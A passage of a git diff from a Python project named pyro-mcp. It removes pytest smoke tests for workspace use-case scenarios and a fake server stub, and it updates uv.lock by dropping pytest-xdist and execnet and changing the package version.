arguments["environment"]), - seed_path=seed_path, - name=cast(str | None, arguments.get("name")), - labels=cast(dict[str, str] | None, arguments.get("labels")), - ) - created = outer.status_workspace(cast(str, result["workspace_id"])) - created["workspace_seed"] = { - "mode": "directory", - "seed_path": str(seed_path.resolve()), - "origin_kind": "project_path", - "origin_ref": str(seed_path.resolve()), - } - return None, created - - return _FakeServer() - - -def test_use_case_registry_has_expected_scenarios() -> None: - expected = ( - "cold-start-validation", - "repro-fix-loop", - "parallel-workspaces", - "untrusted-inspection", - "review-eval", - ) - assert USE_CASE_SCENARIOS == expected - assert USE_CASE_CHOICES == expected + (USE_CASE_ALL_SCENARIO,) - assert tuple(recipe.scenario for recipe in WORKSPACE_USE_CASE_RECIPES) == expected - - -def test_use_case_docs_and_targets_stay_aligned() -> None: - repo_root = _repo_root() - index_text = (repo_root / "docs" / "use-cases" / "README.md").read_text(encoding="utf-8") - makefile_text = (repo_root / "Makefile").read_text(encoding="utf-8") - assert "trustworthy" in index_text - assert "guest-backed verification path" in index_text - for recipe in WORKSPACE_USE_CASE_RECIPES: - assert (repo_root / recipe.doc_path).is_file(), recipe.doc_path - recipe_text = (repo_root / recipe.doc_path).read_text(encoding="utf-8") - assert recipe.smoke_target in index_text - assert recipe.doc_path.rsplit("/", 1)[-1] in index_text - assert recipe.mode in recipe_text - assert recipe.smoke_target in recipe_text - assert f"{recipe.smoke_target}:" in makefile_text - - -def test_use_case_parser_exposes_all_scenarios() -> None: - parser = build_arg_parser() - scenario_action = next( - action for action in parser._actions if getattr(action, "dest", None) == "scenario" - ) - choices = cast(tuple[Any, ...], scenario_action.choices) - assert tuple(choices) == USE_CASE_CHOICES - - -def test_run_all_use_case_scenarios_with_fake_pyro( - monkeypatch: pytest.MonkeyPatch, - tmp_path: Path, -) -> None: - fake_pyro = _FakePyro(tmp_path / "fake-pyro") - monkeypatch.setattr(smoke_module, "Pyro", lambda: fake_pyro) - monkeypatch.setattr(time_module, "sleep", lambda _seconds: None) - - smoke_module.run_workspace_use_case_scenario("all") - - assert fake_pyro._workspaces == {} - assert fake_pyro.patch_apply_count == 1 - - -def test_run_workspace_use_case_scenario_rejects_unknown() -> None: - with pytest.raises(ValueError, match="unknown use-case scenario"): - smoke_module.run_workspace_use_case_scenario("not-a-scenario") - - -def test_main_runs_selected_scenario(monkeypatch: pytest.MonkeyPatch, tmp_path: Path) -> None: - fake_pyro = _FakePyro(tmp_path / "fake-pyro-main") - monkeypatch.setattr(smoke_module, "Pyro", lambda: fake_pyro) - monkeypatch.setattr(time_module, "sleep", lambda _seconds: None) - monkeypatch.setattr( - "sys.argv", - [ - "workspace_use_case_smoke", - "--scenario", - "repro-fix-loop", - "--environment", - "debian:12", - ], - ) - - smoke_module.main() - - assert fake_pyro._workspaces == {} - assert fake_pyro.patch_apply_count == 1 - - -def test_repro_fix_scenario_uses_structured_patch_flow( - monkeypatch: pytest.MonkeyPatch, - tmp_path: Path, -) -> None: - fake_pyro = _FakePyro(tmp_path / "fake-pyro-repro-fix") - monkeypatch.setattr(smoke_module, "Pyro", lambda: fake_pyro) - monkeypatch.setattr(time_module, "sleep", lambda _seconds: None) - - smoke_module.run_workspace_use_case_scenario("repro-fix-loop") - - assert fake_pyro.patch_apply_count == 1 diff --git a/uv.lock b/uv.lock index 14f3147..279cbde 100644 --- a/uv.lock +++ b/uv.lock @@ -275,15 +275,6 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/33/6b/e0547afaf41bf2c42e52430072fa5658766e3d65bd4b03a563d1b6336f57/distlib-0.4.0-py2.py3-none-any.whl", hash = "sha256:9659f7d87e46584a30b5780e43ac7a2143098441670ff0a49d5f9034c54a6c16", size = 469047, upload-time = "2025-07-17T16:51:58.613Z" }, ] -[[package]] -name = "execnet" -version = "2.1.2" -source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/bf/89/780e11f9588d9e7128a3f87788354c7946a9cbb1401ad38a48c4db9a4f07/execnet-2.1.2.tar.gz", hash = "sha256:63d83bfdd9a23e35b9c6a3261412324f964c2ec8dcd8d3c6916ee9373e0befcd", size = 166622, upload-time = "2025-11-12T09:56:37.75Z" } -wheels = [ - { url = "https://files.pythonhosted.org/packages/ab/84/02fc1827e8cdded4aa65baef11296a9bbe595c474f0d6d758af082d849fd/execnet-2.1.2-py3-none-any.whl", hash = "sha256:67fba928dd5a544b783f6056f449e5e3931a5c378b128bc18501f7ea79e296ec", size = 40708, upload-time = "2025-11-12T09:56:36.333Z" }, -] - [[package]] name = "filelock" version = "3.25.0" @@ -715,7 +706,7 @@ crypto = [ [[package]] name = "pyro-mcp" -version = "4.5.0" +version = "1.0.0" source = { editable = "." } dependencies = [ { name = "mcp" }, @@ -727,7 +718,6 @@ dev = [ { name = "pre-commit" }, { name = "pytest" }, { name = "pytest-cov" }, - { name = "pytest-xdist" }, { name = "ruff" }, ] @@ -740,7 +730,6 @@ dev = [ { name = "pre-commit", specifier = ">=4.5.1" }, { name = "pytest", specifier = ">=9.0.2" }, { name = "pytest-cov", specifier = ">=7.0.0" }, - { name = "pytest-xdist", specifier = ">=3.8.0" }, { name = "ruff", specifier = ">=0.15.4" }, ] @@ -774,19 +763,6 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/ee/49/1377b49de7d0c1ce41292161ea0f721913fa8722c19fb9c1e3aa0367eecb/pytest_cov-7.0.0-py3-none-any.whl", hash = "sha256:3b8e9558b16cc1479da72058bdecf8073661c7f57f7d3c5f22a1c23507f2d861", size = 22424, upload-time = "2025-09-09T10:57:00.695Z" }, ] -[[package]] -name = "pytest-xdist" -version = "3.8.0" -source = { registry = "https://pypi.org/simple" } -dependencies = [ - { name = "execnet" }, - { name = "pytest" }, -] -sdist = { url = "https://files.pythonhosted.org/packages/78/b4/439b179d1ff526791eb921115fca8e44e596a13efeda518b9d845a619450/pytest_xdist-3.8.0.tar.gz", hash = "sha256:7e578125ec9bc6050861aa93f2d59f1d8d085595d6551c2c90b6f4fad8d3a9f1", size = 88069, upload-time = "2025-07-01T13:30:59.346Z" } -wheels = [ - { url = "https://files.pythonhosted.org/packages/ca/31/d4e37e9e550c2b92a9cbc2e4d0b7420a27224968580b5a447f420847c975/pytest_xdist-3.8.0-py3-none-any.whl", hash = "sha256:202ca578cfeb7370784a8c33d6d05bc6e13b4f25b5053c30a152269fd10f0b88", size = 46396, upload-time = "2025-07-01T13:30:56.632Z" }, -] - [[package]] name = "python-discovery" version = "1.1.0"